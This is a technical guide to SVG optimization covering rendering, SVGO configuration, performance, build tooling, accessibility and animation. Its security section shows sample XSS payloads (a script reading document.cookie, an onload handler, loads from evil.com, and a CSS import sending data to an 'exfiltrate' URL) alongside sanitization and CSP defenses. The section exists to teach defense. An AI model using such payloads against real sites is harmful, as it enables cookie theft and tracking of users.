The SVG Rendering Model

SVG is not "just XML that draws shapes." Understanding the rendering model is prerequisite to meaningful optimization.

The Coordinate System Stack

Every SVG element establishes a coordinate system. The viewBox attribute defines a mapping from user space to viewport space:

xml
<svg width="200" height="100" viewBox="0 0 400 200">
  <!-- Drawing commands use 400×200 coordinate space -->
  <!-- Rendered into 200×100 pixel viewport -->
  <!-- Scale factor: 0.5x in both directions -->
</svg>

The formula: scale = min(viewport_width / viewBox_width, viewport_height / viewBox_height) (for meet).

preserveAspectRatio Decoded

The attribute has format <align> <meetOrSlice>:

Value Behavior
xMidYMid meet Center content, scale to fit (letterbox). Default
xMidYMid slice Center content, scale to fill (crop)
none Stretch to fill viewport (distorts aspect ratio)
xMinYMin meet Align top-left, scale to fit

none is the only value that allows non-uniform scaling — use it for fluid backgrounds that should stretch.

The Painting Order

SVG renders elements in document order (back to front). There is no z-index. Later elements paint over earlier ones:

xml
<svg>
  <!-- Rendered first (behind) -->
  <rect x="10" y="10" width="80" height="80" fill="blue"/>
  <!-- Rendered second (on top) -->
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

This matters for optimization: moving complex elements that are fully occluded doesn't save render time — the GPU still processes them.

SVGO: Plugin Architecture and Configuration

SVGO (SVG Optimizer) is the industry-standard optimization tool. Understanding its plugin architecture enables precise control over what gets optimized.

Plugin Types

SVGO 3.x plugins operate on the AST (Abstract Syntax Tree) of the SVG document:

javascript
// svgo.config.js
module.exports = {
  plugins: [
    'preset-default',           // Built-in defaults
    'removeDimensions',         // Remove width/height, keep viewBox
    {
      name: 'removeAttrs',      // Plugin with parameters
      params: { attrs: '(data-.*)' }
    },
    {
      name: 'addAttributesToSVGElement',
      params: { attributes: [{ 'aria-hidden': 'true' }] }
    }
  ]
};

The preset-default Bundle

preset-default enables these plugins (among others):

Plugin Effect Safe to disable?
removeDoctype Remove <!DOCTYPE> Always safe
removeXMLProcInst Remove <?xml?> Safe for inline SVG
removeComments Remove <!-- --> Usually safe
removeMetadata Remove <metadata> Usually safe
removeEditorsNSData Remove editor namespaces Always safe
cleanupAttrs Normalize whitespace in attributes Always safe
mergeStyles Merge multiple <style> elements Usually safe
inlineStyles Move CSS to presentation attributes Breaks external styling
convertPathData Simplify path commands Safe (precision configurable)
convertTransform Collapse transform chains Safe
removeUnusedNS Remove unused namespace declarations Always safe
collapseGroups Flatten unnecessary <g> elements May break animations

Writing a Custom Plugin

javascript
// custom-plugin.js
const myPlugin = {
  name: 'removeTestIds',
  fn: () => ({
    element: {
      enter: (node) => {
        if (node.attributes['data-testid']) {
          delete node.attributes['data-testid'];
        }
      }
    }
  })
};

// svgo.config.js
module.exports = {
  plugins: ['preset-default', myPlugin]
};

Precision vs File Size Tradeoff

javascript
// Path data precision: more decimals = larger file, more accurate curves
{
  name: 'convertPathData',
  params: {
    floatPrecision: 1,   // Aggressive: "M10.5 20.3" → "M10 20" (visible artifacts on complex curves)
    floatPrecision: 2,   // Balanced: "M10.53 20.37" → "M10.53 20.37" (safe for most icons)
    floatPrecision: 3    // Conservative: keeps precision (large files)
  }
}

Rule of thumb: icons at 24×24px → precision 1 is fine. Illustrations at 1000×1000px → precision 2-3 required.

SVG Security: XSS and Sanitization

SVG is an attack vector. Because SVG is XML that can contain JavaScript, loading untrusted SVG is equivalent to loading untrusted HTML.

Attack Vectors

1. Script execution via <script>:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.cookie)</script>
</svg>

2. Event handlers:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" onload="alert('XSS')"/>
</svg>

3. External resource loading:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="https://evil.com/track.gif"/>
  <use href="https://evil.com/payload.svg#exploit"/>
</svg>

4. CSS injection:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url('https://evil.com/exfiltrate?data=...');
  </style>
</svg>

Defense Strategies

Context Risk level Mitigation
<img src="file.svg"> Low — scripts don't execute Safe for untrusted SVG
Inline <svg> in HTML High — full DOM access Must sanitize
background-image: url(file.svg) Low — scripts don't execute Safe
<object> / <iframe> Medium — sandboxed execution Use sandbox attribute
User-uploaded SVG served as image/svg+xml High — direct navigation executes scripts Must sanitize or serve with CSP

Sanitization Library

javascript
import DOMPurify from 'dompurify';

const cleanSVG = DOMPurify.sanitize(untrustedSVG, {
  USE_PROFILES: { svg: true, svgFilters: true },
  ADD_TAGS: ['use'],
  FORBID_TAGS: ['script', 'foreignObject'],
  FORBID_ATTR: ['onload', 'onclick', 'onerror', 'xlink:href']
});

Content-Security-Policy for SVG

http
Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self'

When serving user-uploaded SVG, set script-src 'none' to prevent script execution even if sanitization fails.

Performance Pitfalls

1. Filter Elements Are Expensive

SVG filters (<filter>) operate on pixel buffers, not vector geometry. They trigger rasterization:

xml
<!-- This innocent-looking blur forces rasterization of the entire subtree -->
<g filter="url(#blur)">
  <path d="...huge path data..."/>
</g>

<filter id="blur">
  <feGaussianBlur stdDeviation="3"/>
</filter>

Each filter primitive (feGaussianBlur, feDropShadow, feColorMatrix) allocates a pixel buffer the size of the filter region. Chained filters multiply memory usage.

Mitigation: Use CSS filter: blur() instead of SVG filters when possible — CSS filters are GPU-accelerated on most browsers.

2. Clip-Path Complexity

Complex clip-paths force per-pixel intersection testing:

xml
<!-- Expensive: 500-point polygon as clip path -->
<clipPath id="complex">
  <path d="M... (500 points)"/>
</clipPath>

<!-- Cheap: simple rectangle clip -->
<clipPath id="simple">
  <rect x="0" y="0" width="100" height="100"/>
</clipPath>

3. Large Path Data

A single <path> with thousands of points is more expensive to parse and render than equivalent simpler paths:

Path complexity Parse time Render time File size
50 points ~0.1ms ~0.1ms ~200B
500 points ~1ms ~0.5ms ~2KB
5,000 points ~10ms ~5ms ~20KB
50,000 points ~100ms ~50ms ~200KB

Mitigation: Simplify paths during export (reduce point count), or split into smaller paths for progressive rendering.

4. Embedded Raster Images Defeat the Purpose

xml
<!-- This "SVG" is actually a 2MB PNG with vector chrome around it -->
<svg>
  <image href="data:image/png;base64,..." width="1000" height="1000"/>
  <text x="50" y="50">Label</text>
</svg>

This is worse than a standalone PNG: larger file (Base64 encoding adds 33%), no SVG caching benefits, and the browser must decode both SVG and raster.

Build Pipeline Integration

Vite (vite-plugin-svgr)

javascript
// vite.config.js
import svgr from 'vite-plugin-svgr';

export default {
  plugins: [svgr({
    svgrOptions: {
      plugins: ['@svgr/plugin-svgo', '@svgr/plugin-jsx'],
      svgoConfig: {
        plugins: ['preset-default', 'removeDimensions']
      }
    }
  })]
};
jsx
// Usage in React
import Logo from './logo.svg?react';  // Imported as React component
import logoUrl from './logo.svg';     // Imported as URL string

function App() {
  return <Logo className="logo" aria-label="Company logo" />;
}

Webpack (@svgr/webpack)

javascript
// webpack.config.js
module.exports = {
  module: {
    rules: [{
      test: /\.svg$/i,
      issuer: /\.[jt]sx?$/,
      use: [{
        loader: '@svgr/webpack',
        options: {
          svgo: true,
          svgoConfig: { plugins: ['preset-default'] }
        }
      }]
    }]
  }
};

Next.js

javascript
// next.config.js
module.exports = {
  webpack(config) {
    config.module.rules.push({
      test: /\.svg$/,
      use: ['@svgr/webpack']
    });
    return config;
  }
};

Accessibility Beyond aria-label

Decision Tree

code
Is the SVG decorative (no information)?
├── Yes → <svg aria-hidden="true" focusable="false">
└── No → Does it stand alone or have adjacent text?
    ├── Standalone → <svg role="img" aria-labelledby="title">
    │                  <title id="title">Description</title>
    └── Has text → <svg aria-hidden="true"> (text carries the meaning)

Interactive SVG Accessibility

xml
<svg role="img" aria-labelledby="chart-title chart-desc">
  <title id="chart-title">Monthly Revenue</title>
  <desc id="chart-desc">Bar chart showing revenue from Jan to Dec 2025</desc>
  
  <!-- Each interactive element needs focus handling -->
  <g role="listitem" tabindex="0" aria-label="January: $45,000">
    <rect x="10" y="20" width="30" height="80"/>
  </g>
</svg>

focusable="false" on IE/Edge Legacy

IE and old Edge make SVG elements focusable by default. Always add focusable="false" to decorative SVGs for cross-browser consistency.

Animation Approaches

Approach Performance Browser support Use case
CSS @keyframes GPU-accelerated (transform, opacity) Universal Simple transitions
CSS transition GPU-accelerated Universal State changes
SMIL <animate> Main thread All modern (Chrome re-supported 2019) Declarative path animation
Web Animations API GPU-accelerated Modern browsers Programmatic control
GreenSock (GSAP) Optimized JS Universal (library) Complex sequenced animations

CSS Animation (Preferred for Simple Cases)

css
@keyframes spin {
  from { transform: rotate(0deg); }
  to { transform: rotate(360deg); }
}

.spinner {
  animation: spin 1s linear infinite;
  transform-origin: center;
}

Path Animation with SMIL

xml
<path d="M10 80 Q 95 10 180 80">
  <animate
    attributeName="d"
    dur="2s"
    values="M10 80 Q 95 10 180 80; M10 80 Q 95 150 180 80; M10 80 Q 95 10 180 80"
    repeatCount="indefinite"
  />
</path>

SMIL animates path d attribute — something CSS cannot do. Use SMIL for morphing shapes.

Optimization Checklist

  1. Run SVGO with appropriate precision settings for the use case
  2. Remove editor metadata (<metadata>, Illustrator/Figma namespaces)
  3. Simplify paths (reduce decimal precision, merge transforms)
  4. Use <symbol> + <use> for repeated icons (SVG sprite)
  5. Enable gzip/brotli on the server (SVG compresses 60-80%)
  6. Avoid filters on large elements (use CSS filter or box-shadow instead)
  7. Remove embedded rasters (base64 images inside SVG)
  8. Set aria-hidden="true" on decorative SVGs
  9. Sanitize user-uploaded SVG (DOMPurify or server-side equivalent)
  10. Serve with appropriate CSP (script-src 'none' for user content)